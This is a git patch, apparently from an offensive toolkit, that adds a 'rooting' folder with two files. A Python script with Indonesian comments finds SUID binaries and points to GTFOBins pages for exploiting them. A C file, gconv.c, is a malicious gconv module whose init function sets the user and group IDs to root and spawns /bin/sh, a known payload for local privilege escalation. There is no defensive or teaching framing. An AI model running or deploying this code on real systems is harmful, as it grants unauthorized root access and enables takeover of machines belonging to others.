From 1437d767e457b12ec3dfa807c499636b6923b852 Mon Sep 17 00:00:00 2001 From: syn <syn@localhost> Date: Wed, 5 Mar 2025 03:52:35 +0700 Subject: [PATCH] Rooting: Binary Checking --- rooting/binary-cek.py | 29 +++++++++++++++++++++++++++++ rooting/gconv.c | 9 +++++++++ 2 files changed, 38 insertions(+) create mode 100644 rooting/binary-cek.py create mode 100644 rooting/gconv.c diff --git a/rooting/binary-cek.py b/rooting/binary-cek.py new file mode 100644 index 0000000..a74c5ae --- /dev/null +++ b/rooting/binary-cek.py @@ -0,0 +1,29 @@ +# author: syn +import os +import subprocess + +def find_suid_binaries(): + """Mencari binary dengan SUID bit diaktifkan.""" + result = subprocess.run(["find", "/", "-perm", "-4000", "-type", "f", "2>/dev/null"], capture_output=True, text=True, shell=True) + suid_binaries = result.stdout.split("\n") + return [binary for binary in suid_binaries if binary] + +def check_exploitable(binary): + """Cek apakah binary bisa dieksploitasi dengan GTFOBins.""" + gtfo_url = f"https://gtfobins.github.io/gtfobins/{os.path.basename(binary)}/" + print(f"[*] Cek eksploitasi: {binary}\n[*] Cek referensi: {gtfo_url}") + +def main(): + print("[+] Mencari binary SUID...") + suid_binaries = find_suid_binaries() + if not suid_binaries: + print("[-] Tidak ditemukan binary SUID.") + return + + print("[+] Binary SUID ditemukan:") + for binary in suid_binaries: + print(f" - {binary}") + check_exploitable(binary) + +if __name__ == "__main__": + main() diff --git a/rooting/gconv.c b/rooting/gconv.c new file mode 100644 index 0000000..73f4ec7 --- /dev/null +++ b/rooting/gconv.c @@ -0,0 +1,9 @@ +#include <stdio.h> +#include <stdlib.h> + +void gconv() {} +void gconv_init() { + setuid(0); + setgid(0); + system("/bin/sh"); +}